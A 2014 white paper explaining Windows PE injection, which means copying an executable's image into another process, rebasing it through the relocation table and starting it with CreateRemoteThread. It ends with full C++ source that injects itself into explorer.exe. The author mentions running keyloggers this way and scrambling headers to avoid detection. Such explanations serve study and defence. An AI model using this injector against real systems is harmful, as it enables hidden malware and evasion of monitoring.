PE Injection Explained

Advanced memory code injection technique

Date of writing: 13/04/2014
Author: Emeric Nasi – emeric.nasi@sevagas.com
Note: This white paper requires some knowledge on Windows system programming and the Portable Executable format.

I Presentation.

I.1 PE injection

This is not another article on DLL injection or shellcode injection (already a lot of is available online). The method described here allows to inject the complete image of the running process module in the memory of another process, basically this means having two different codes running in the same process (or having one PE hidden inside another).

This technique is more powerful than classic code injection technique because it does not require any shellcoding knowledge, the program code can be written in regular C++ and relies on well documented Windows System and Runtime API. Compared to DLL injection the main asset of PE injection is that you don't need several files, the main exe self inject inside another process and calls itself in there. I don't know who invented this method (official researchers or underground?). The thing is, the technique is not very widespread on the Internet and generally the source code lacks some explanation. Here I provide complete explanation of the technique and implementation source code at the end of article.

II.2 Method impact

I've run several tests around PE injection. From what I've tried it is possible to inject pretty any code in the target process, I've tested with success:

- Socket creation and network access
- Access to filesystem
- Create threads
- Access to system libraries
- Access to common runtime libraries

In fact other stuff like remote control and keylogger did run good as well.

I've tested PE injection on Vista and Windows 7 without any problem. Concerning architecture, PE injection works with both 32bit and 64bit softs. However you can only inject a 32bit PE image inside a 32bit process and a 64bit PE image in a 64bit process.

I have also monitored the targeted process with Sysinternal ProcExp tool. There is a memory growth after the injection phase and you can detect a new thread running inside the process. It is yet very difficult to detect a module image was injected in the target. This is because the injected module is not properly loaded by the system. For example, an injected DLL loaded with LoadLibrary will be referenced in ProcExp as one of the process modules. PE injection just creates a bunch of data in process virtual memory. It could be possible to check memory for unusual 'MZ' or other part of PE headers, but then PE header can also be scrambled when injected if stealth is required.

II.3 The tools

Obviously you need a compiler and a debugger. I use Microsoft Visual Studio express 2010 which is free and provides the source code editor, the compiler, the linker, the debugger (with a very practical code machine view). If you have full Visual Studio and crash another process with this injection technique you have the possibility to investigate what happened by debugging the failed process in Visual Studio (this requires some habit into working with assembly code and memory layout...).
I've also used another debugger WinDBG which is simple but very practical.
The Sysinternal toolsuit is a must for system monitoring. I've especially used the ProcExp tool.

II Principles

II.1 Writing code into distant process memory

Writing some code into another process memory is the easy part. Windows provides systems API to Read and Write the memory of other processes. First you need to get the PID of the process, you could enter this PID yourself or use a method to retrieve the PID from a given process name.

Next, open the process. This is easily done by calling the OpenProcess function provided by Kernel32 library.

Note: Opening another process is submitted to restrictions. Since Vista, a few protection exists along with Microsoft UAC. The main protection for process memory is Mandatory Integrity Control (MIC). MIC is a protection method to control access to objects based on their "Integrity level".
There are 4 integrity levels:

- Low Level for process which are restricted to access most of the system (for example Internet explorer)
- Medium Level is the default for any process started by unprivileged users and also administrator users if UAC is enabled.
- High level is for process running with administrator provileges
- System level are runned by SYSTEM users, generally the level of system services and process requiring the highest protection.

For our concern that means the injector process will only be able to inject into a process running with inferior or equal integrity level. For example, if UAC is activated, even if user account is administrator a

process will run at "Medium" integrity level (unless is is specifically runned as administrator). The "explorer.exe" process is permanent and running at medium integrity level process so it makes an ideal target in our case, even with UAC enabled. Discussing Windows system protections is not the main subject of this article, you can find a lot of details using the MSDN description.

After opening the process we will allocate some memory in the distant process so that we can insert the current process Image. This is done using the VirtualAllocEx function. To calculate the amount of memory we need to allocate, we can retrieve the size of the current process image by parsing some PE header information.

```
1. /* Get image of current process module memory*/
2. module = GetModuleHandle(NULL);
3. /* Get module PE headers */
4. PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)module +
   ((PIMAGE_DOS_HEADER)module)->e_lfanew);
5. /* Get the size of the code we want to inject */
6. DWORD moduleSize = headers->OptionalHeader.SizeOfImage;
```

Writing into a process memory is done by calling the writeProcessMemory function. This is pretty simple as you can see in the source code section.

II.2 Handling binaries fixed addresses

The main issue with code injection is that the base address of the module will change. Generally, when a process starts, the main module is loaded at address 0X00400000. When we inject our code in another process, the new base address of our module will start some place not predictable in the distant process virtual memory.

In an .exe file, after compilation and link, all code and data addresses are fixed and build using the virtual memory base address. For PE injection, we will need to change the base address of all data described using full address pointer. For that, we are going to use the process relocation section.

The relocation data is present in all 64bit executable and in all 32bit compiled without fixed base address. The goal of the relocation table (.reloc segment) is to enable Address Space Layout Randomization and to load DLL. This is pretty handy since it will allow us to find and modify every place where base addresses needs to be modified.

When a file is normally loaded by the system, if the preferred base address cannot be used, the operating system will set a new base address to the module. The system loader will then use the relocation table to recalculate all absolute addresses in the code.

In the PE injection method we use the same method as the system loader. We establish delta values to calculate the new addresses to set in the distant process. Then, thanks to the relocation table, we access to all full addresses declared in the code and we modify them.

```
1. /* delta is offset of allocated memory in target process */
2. delta = (DWORD_PTR)((LPBYTE)distantModuleMemorySpace - headers-
   >OptionalHeader.ImageBase);
3.
```

```
4. /* olddelta is offset of image in current process */
5. olddelta = (DWORD_PTR)((LPBYTE)module - headers->OptionalHeader.ImageBase);
```

For the next step it is important to understand how relocation data is organized. Relocation data are stored in a data directory. This directory can be access through the use of IMAGE_DIRECTORY_ENTRY_BASERELOC. The relocation data directory is an array of relocation blocks which are declared as IMAGE_BASE_RELOCATION structures.
Here is the definition of that structure:

```
1. typedef struct _IMAGE_BASE_RELOCATION {
2.   ULONG  VirtualAddress;
3.   ULONG  SizeOfBlock;
4. } IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;
```

The relocation blocks do not all have the same size, in fact a number of 16bits relocation descriptors are set in each relocation block. The SizeOfBlock attribute of the structure gives the total size of the relocation block.
Here is a simple memory layout of a relocation data directory:

```
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Relocation Block 1                  | Relocation Block 2
VAddr|SizeofBlock|desc1|desc2|desc3| VAddr|SizeofBlock|desc1|...
32b  |32b        |16b  |16b  |16b  |
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
```

The VirtualAddress attribute is the base address of all the places which must be fixed in the code. Each 16bit descriptor refers to a fixed address somewhere in the code that should be changed as well as the method that should be used by the system loader to modify it. The PE format describes about 10 different transformations that can be used to fix an address reference. These transformations are described through the top 4 bits of each descriptor. The transformation methods are ignored in the PE injection technique. The bottom 12bits are used to describe the offset into the VirtualAddress of the containing relocation block. This means that "relocationBlock.VirtualAddress + Bottom 12bit of descriptor" points to the address we need to fix in the code. So basically, we must go through all relocation descriptors in all relocation blocks, and for each descriptor, modify the pointed address to adapt it to the new base address in the distant process.

```
1. /* Copy module image in temporary buffer */
2. RtlCopyMemory(tmpBuffer, module, moduleSize);
3. /* Get data of .reloc section */
4. PIMAGE_DATA_DIRECTORY datadir = &headers-
   >OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
5. /* Point to first relocation block copied in temporary buffer */
6. PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(tmpBuffer + datadir-
   >VirtualAddress);
7. /* Browse all relocation blocks */
8. while(reloc->VirtualAddress != 0)
9. {
10.     /* We check if the current block contains relocation descriptors, if not we skip to the next block */
11.     if (reloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
12.     {
```

```
13.             /* We count the number of relocation descriptors */
14.             DWORD relocDescNb = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) /
    sizeof(WORD);
15.             /* relocDescList is a pointer to first relocation descriptor */
16.             LPWORD relocDescList = (LPWORD)((LPBYTE)reloc +
    sizeof(IMAGE_BASE_RELOCATION));
17.
18.             /* For each descriptor */
19.             for (i = 0; i < relocDescNb; i++)
20.             {
21.                 if (relocDescList[i] > 0)
22.                 {
23.                     /* Locate data that must be reallocated in buffer (data being an address we use pointer of
    pointer) */
24.                     /* reloc->VirtualAddress + (0x0FFF & (list[i])) -> add botom 12 bit to block virtual
    address */
25.                     DWORD_PTR *p = (DWORD_PTR *)(tmpBuffer + (reloc->VirtualAddress + (0x0FFF
    & (relocDescList[i]))));
26.                     /* Change the offset to adapt to injected module base address */
27.                     *p -= olddelta;
28.                     *p += delta;
29.                 }
30.             }
31.         }
32.         /* Set reloc pointer to the next relocation block */
33.          reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock);
34.  }
```

II.3 Calling our code in remote process

Once the code is injected, we can attempt to call its functions. The first issue we face is that we need to calculate the address of the function we want to call in the remote process.

```
1. /* Calculate the address of routine we want to call in the target process */
2. /* The new address is:
3. Start address of copied image in target process + Offset of routine in copied image */
4. LPTHREAD_START_ROUTINE remoteThread =
   (LPTHREAD_START_ROUTINE)((LPBYTE)injectedModule +
   (DWORD_PTR)((LPBYTE)callRoutine - (LPBYTE)module));
5. /* Call the distant routine in a remote thread  */
6. thread = CreateRemoteThread(proc, NULL, 0, remoteThread, NULL, 0, NULL);
```

Calling the function itself can be done in several ways. These techniques are the same that are employed for DLL injection. Here are three techniques I tested successfully:

- CreateRemoteThread -> Call the the CreateRemoteThread function from Kernel32 library. Very simple to use and fully documented.
- NtCreateThreadEx-> Like CreateRemoteThread, consist into calling a thread in a distant process. The difference is NtCreateThreadEx is declared in ntdll.dll module and is not documented so it is not as straightforward to use.
- Suspend, Inject, Resume. This method consists into suspending all threads inside the target process, changing the context so that next instruction points to our injected code, and finally resume all

threads. The drawback of this method is it doesn't seem to work with all process (for example I couldn't make it work with explorer.exe).

To focus on the code injection itself, I will only provide the CreateRemoteThread method in the implementation code example section. Feel free to email me if you want more complete source code including all three techniques (you can also easily find them on the Internet).

III Implementation challenges

III.1 Heap and stack variables

The relocation table will do the trick to modify all pointer linked in the executable code but won't be useful to adapt any data declared on the Stack or the Heap after the process has started. This is why the code must not rely on any dynamically allocated space of any local variables that where initialized before the PE image is injected. Once the image is injected there is no problem to use the Stack and the Heap of the host process. Static variables, global variables, and constants are initialized in PE image segments so they are not concerned by this issue (see PE memory layout in Code segment encryption article).

III.2 Cope with Windows Runtime Library issues

The Microsoft Runtime Library contains all C standard functions like malloc, strncpy, printf and is included by default in most C and C++ programs built for windows. It is automatically called by Visual Studio compiler, either as a static library or a DLL loaded at runtime.

The problem is that if you want to rely on the Runtime Library, a lot of data is allocated even before the main() function is called. This is because in Windows application, the default entry point of a program is not main but mainCRTStartup(). When this function is called, it will setup the environment so the application can be runned in a safe way (enable multithread locks, allocate local heap, parse parameters, etc.). All these data are set using the process base address and there are so many it would be too painful to modify them all before injecting them into another process.

So you have basically two solutions here:

- You don't use the Common Runtime Library
- You initialize the common runtime library after the code is injected.

In both case you have to define a new entry point for the code. This can be done using pragma definition or using Visual Studio linker options.

If you don't want to use the Common Runtime library (and you may not want it for a lot of reasons, like 300k of code...) you are going to have to face a few issues. You can do a lot of stuff using the system libraries but you will miss not having basic functions like printf, malloc or strncpy. I suggest you build your own tiny CRT and implement all the useful function you will need in your code. I have personally grab a lot of sources to have my own CRT, I would be glad to share it with others working on the same topic, especially if someone finds a nice way to implement operations on 64bit integers. Avoiding runtime in Visual studio can be done using the /NODEFAULTLIB linker option.

The second method has a bigger footprint but allows to do anything you want (once CRT is initialized). It is however a bit tricky to use. Why? Because in regular windows program, the first function called is not main but mainCRTStartup(). This function initializes runtime library and then calls the main function in the code. Also this function is declared only in runtime library.

What do we need to do:

1. First, you need a main() function, it will be automatically called by mainCRTStartup and it will be entry point of what you want to play in the distant process.
2. You also need to declare a function which will call mainCRTStartup() in the remote process, lets call it entryThread(). It will be started as a remote thread.
3. Finally you need a program entry point, used to call the code injection routines, and the remote thread function, lets call it entryPoint().

Here is the call stack of what will happen:

```
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
INJECT_START->entryPoint()->peInjection()->INJECT_END
                                  ||
                                  || CreateRemoteThread()
                                  ||
TARGET_PROC_RUNNING ->  ... ->    entryThread() -> mainCRTStartup() -> main()

= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
```

This method is the one presented the source code implementation section.

III.2 Weird breakpoint instructions in main function

During my tests on PE injections I’ve encountered a strange issue when attempting to call a "main()" function in the remote process. It seems that a breakpoint instruction is automatically added at the beginning of all any main(), wmain() function. Instead of having my main function starting with:

```
55                   push        ebp
8B EC                mov         ebp,esp
```

It started with:

```
CC                   int         3
8B EC                mov         ebp,esp
```

I don’t know why this wild breakpoint is added, I had the same behavior on several OS version, this is maybe a Visual Studio trick (in release mode I still have the breakpoint...). Also the breakpoint is not added to the entry point but to any function called "main()", and no others. If we plan to use runtime library we need a main() function so I just patch the main function first instruction before injecting the code.

```
1. /* Remove wild breakpoint at beginning of main function */
2. tmpBuffer[(DWORD)main - (DWORD)module] = 0x55;// put the normal push ebp instruction
```

I hope someone can explain me what happens and have a nicer solution.

III.4 Compatibility layer

On some OS, when starting the exe in Visual Studio, the Microsoft compatibility Layer map Kernel32.dll on AcLayers.dll. Because of that calling GetProcAddress routine in the injected code will fail because it will be linked to a stubbed function declared in AcLayers.dll which will not be loaded in the target process. The problem is you may want to call GetProcAddress in your injected code, also it is mandatory if you use Microsoft Runtime Library. I had this behavior on Vista but not on 7 64bit, it may depend on OS and version of Visual Studio. You can find more about AcLayers.dll problems related to this topic here. In any case this problem only occurs when starting the injector program directly from Visual Studio IDE (which itself loads AcLayers.dll). So my recommendation is **do not** run the injector executable from Visual Studio.

IV Simple implementation source code

To finish, here is an implementation of this technique with a lot of commentaries.

```
1.
2.  /* Some includes */
3.  #include <windows.h>
4.  #include <tlhelp32.h>
5.  #include <process.h>
6.  #include <stdio.h>
7.  #pragma comment (lib, "winmm.lib")
8.  #pragma comment (lib, "kernel32.lib")
9.
10.
11. /**
12.  * Return the ID of a process from its name
13.  * @param Name of target process
14.  * @return Process ID
15.  */
16. DWORD GetProcessIdByName(LPWSTR name)
17. {
18.     PROCESSENTRY32 pe32;
19.     HANDLE snapshot = NULL;
20.     DWORD pid = 0;
21.
22.     snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
23.     if (snapshot != INVALID_HANDLE_VALUE)
24.     {
25.         pe32.dwSize = sizeof(PROCESSENTRY32);
26.         if (Process32First(snapshot, &pe32))
27.         {
28.             do
29.             {
30.                 if (!lstrcmp(pe32.szExeFile, name))
31.                 {
32.                         pid = pe32.th32ProcessID;
33.                         break;
34.                 }
35.             } while (Process32Next(snapshot, &pe32));
36.         }
```

```
37.         CloseHandle(snapshot);
38.     }
39.     return pid;
40. }
41.
42. /**
43.  * Injected program entry point after Runtime library is initialized
44.  * Can call any runtime and system routines.
45.  * first declared here because I need its address to remove breakpoint in main function
46.  */
47. DWORD  main();
48.
49. /**
50.  * Normal starting point of any program in windows. It is declared in runtime library and will call main() or
    wmain() function
51.  */
52. extern "C" void mainCRTStartup();
53.
54.
55. /**
56.  * Inject a PE module in the target process memory
57.  * @param proc Handle to target process
58.  * @param module PE we want to inject
59.  * @return Handle to injected module in target process
60.  */
61. HMODULE injectModule(HANDLE proc, LPVOID module)
62. {
63.     DWORD i = 0;
64.     DWORD_PTR delta = NULL;
65.     DWORD_PTR olddelta=NULL;
66.     /* Get module PE headers */
67.     PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)module +
    ((PIMAGE_DOS_HEADER)module)->e_lfanew);
68.     PIMAGE_DATA_DIRECTORY datadir;
69.
70.     /* Get the size of the code we want to inject */
71.     DWORD moduleSize = headers->OptionalHeader.SizeOfImage;
72.     LPVOID distantModuleMemorySpace = NULL;
73.     LPBYTE tmpBuffer = NULL;
74.     BOOL ok = FALSE;
75.     if (headers->Signature != IMAGE_NT_SIGNATURE)
76.         return NULL;
77.
78.     /* Check if calculated size really corresponds to module size */
79.     if (IsBadReadPtr(module, moduleSize))
80.         return NULL;
81.
82.         /* Allocate memory in the target process to contain the injected module image */
83.     distantModuleMemorySpace = VirtualAllocEx(proc, NULL, moduleSize, MEM_RESERVE |
    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
84.     if (distantModuleMemorySpace != NULL)
85.     {
86.         /* Now we need to modify the current module before we inject it */
87.         /* Allocate some space to process the current PE image in an temporary buffer */
88.         tmpBuffer = (LPBYTE)VirtualAlloc(NULL, moduleSize, MEM_RESERVE | MEM_COMMIT,
    PAGE_EXECUTE_READWRITE);
89.         if (tmpBuffer != NULL)
90.         {
```

```
91.         RtlCopyMemory(tmpBuffer, module, moduleSize);
92.                 /* Get data of .reloc section */
93.         datadir = &headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
94.         if (datadir->Size > 0 && datadir->VirtualAddress > 0)
95.         {
96.             /* delta is offset of allocated memory in target process */
97.             delta = (DWORD_PTR)((LPBYTE)distantModuleMemorySpace - headers->OptionalHeader.ImageBase);
98.
99.             /* olddelta is offset of image in current process */
100.                olddelta = (DWORD_PTR)((LPBYTE)module - headers->OptionalHeader.ImageBase);
101.
102.                /* Point to first relocation block copied in temporary buffer */
103.                PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(tmpBuffer + datadir->VirtualAddress);
104.
105.                /* Browse all relocation blocks */
106.                while(reloc->VirtualAddress != 0)
107.                {
108.                    /* We check if the current block contains relocation descriptors, if not we skip to the next block */
109.                    if (reloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
110.                    {
111.                        /* We count the number of relocation descriptors */
112.                        DWORD relocDescNb = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
113.                        /* relocDescList is a pointer to first relocation descriptor */
114.                        LPWORD relocDescList = (LPWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION));
115.
116.                        /* For each descriptor */
117.                        for (i = 0; i < relocDescNb; i++)
118.                        {
119.                            if (relocDescList[i] > 0)
120.                            {
121.                                /* Locate data that must be reallocated in buffer (data being an address we use pointer of pointer) */
122.                                /* reloc->VirtualAddress + (0x0FFF & (list[i])) -> add botom 12 bit to block virtual address */
123.                                DWORD_PTR *p = (DWORD_PTR *)(tmpBuffer + (reloc->VirtualAddress + (0x0FFF & (relocDescList[i]))));
124.                                /* Change the offset to adapt to injected module base address */
125.                                *p -= olddelta;
126.                                *p += delta;
127.                            }
128.                        }
129.                    }
130.                    /* Set reloc pointer to the next relocation block */
131.                    reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock);
132.                }
133.
134.                /* Remove wild breakpoint at begining of main function */
135.                tmpBuffer[(DWORD)main - (DWORD)module] = 0x55;// put the normal push ebp instruction
136.
137.                /* Write processed module image in target process memory */
```

```
138.                    ok = WriteProcessMemory(proc, distantModuleMemorySpace, tmpBuffer, moduleSize,
    NULL);
139.                }
140.                VirtualFree(tmpBuffer, 0, MEM_RELEASE);
141.            }
142.
143.            if (!ok)
144.            {
145.                VirtualFreeEx(proc, distantModuleMemorySpace, 0, MEM_RELEASE);
146.                distantModuleMemorySpace = NULL;
147.            }
148.        }
149.            /* Return base address of copied image in target process */
150.        return (HMODULE)distantModuleMemorySpace;
151.    }
152.
153.
154.    /**
155.     * Get debug privileges fo current process token
156.     */
157.    BOOL EnableDebugPrivileges(void)
158.    {
159.        HANDLE token;
160.        TOKEN_PRIVILEGES priv;
161.        BOOL ret = FALSE;
162.
163.        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
    TOKEN_QUERY, &token))
164.        {
165.            priv.PrivilegeCount = 1;
166.            priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
167.
168.            if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid) != FALSE
    &&
169.            AdjustTokenPrivileges(token, FALSE, &priv, 0, NULL, NULL) != FALSE)
170.            {
171.                ret = TRUE;
172.            }
173.            CloseHandle(token);
174.        }
175.        return ret;
176.    }
177.
178.
179.    /**
180.     * Inject and start current module in the target process
181.     * @param pid Target process ID
182.     * @param start callRoutine Function we want to call in distant process
183.     */
184.    BOOL peInjection(DWORD pid, LPTHREAD_START_ROUTINE callRoutine)
185.    {
186.        HANDLE proc, thread;
187.        HMODULE module, injectedModule;
188.        BOOL result = FALSE;
189.
190.        /* Open distant process. This will fail if UAC activated and proces running with higher integrity
    control level */
191.        proc = OpenProcess( PROCESS_CREATE_THREAD |
```

```
192.                PROCESS_QUERY_INFORMATION |
193.                PROCESS_VM_OPERATION |
194.                PROCESS_VM_WRITE |
195.                PROCESS_VM_READ,
196.                FALSE,
197.                pid );
198.
199.            if (proc != NULL)
200.               {
201.                     /* Get image of current process modules memory*/
202.                     /* Note: This will return handle to  memory content of current module, which means current
    exe (we do not load any other module).  */
203.               module = GetModuleHandle(NULL);
204.                     /* Insert module image in target process*/
205.               injectedModule = (HMODULE)injectModule(proc, module);
206.                     /* injectedModule is the base address of the injected module in the target process */
207.               if (injectedModule != NULL)
208.                     {
209.                           /* Calculate the address of routine we want to call in the target process */
210.                           /* The new address is:
211.                            Start address of copied image in target process + Offset of routine in copied image */
212.                  LPTHREAD_START_ROUTINE remoteThread =
    (LPTHREAD_START_ROUTINE)((LPBYTE)injectedModule + (DWORD_PTR)((LPBYTE)callRoutine -
    (LPBYTE)module));
213.                           /* Call the distant routine in a remote thread  */
214.                           thread = CreateRemoteThread(proc, NULL, 0, remoteThread, NULL, 0, NULL);
215.                  if (thread != NULL)
216.                  {
217.                     CloseHandle(thread);
218.                     result = TRUE;
219.                  }
220.                  else
221.                  {
222.                     /* If failed, release memory */
223.                     VirtualFreeEx(proc, module, 0, MEM_RELEASE);
224.                  }
225.               }
226.               CloseHandle(proc);
227.            }
228.            return result;
229.         }
230.
231.
232.         /**
233.          * Thread which will be called in remote process after injection
234.          */
235.         DWORD WINAPI entryThread(LPVOID param)
236.         {
237.            DWORD newModuleD = (DWORD)param;
238.            MessageBox(NULL, L"Injection success. Now initializing runtime library.", NULL, 0);
239.            mainCRTStartup ();
240.            MessageBox(NULL, L"This will never be called.", NULL, 0);
241.            return 0;
242.         }
243.
244.
245.
246.         /**
```

```
247.        * Injected program entry point after Runtime library is initialized
248.        * Can call any runtime and system routines.
249.        */
250.       DWORD  main()
251.       {
252.            MessageBox(NULL, L"In Main ", NULL, 0);
253.            printf("This printf can work because runtime library is now initialized.\n");
254.
255.            /* Do anything you want here, including spawning new threads */
256.
257.            MessageBox(NULL, L"In main end", NULL, 0);
258.            /* Exit thread to avoid crashing the host */
259.            ExitThread(0);
260.            return 0;
261.       }
262.
263.
264.       /**
265.        * Module entry point when started by system.
266.        * Do not use any runtime library function before injection is complete.
267.        */
268.       void entryPoint()
269.       {
270.            MessageBox(NULL, L"entryPoint", NULL, 0);
271.            EnableDebugPrivileges();// Attempt to aquire debugging privileges
272.
273.            peInjection(GetProcessIdByName(L"explorer.exe"), entryThread);
274.       }
275.
```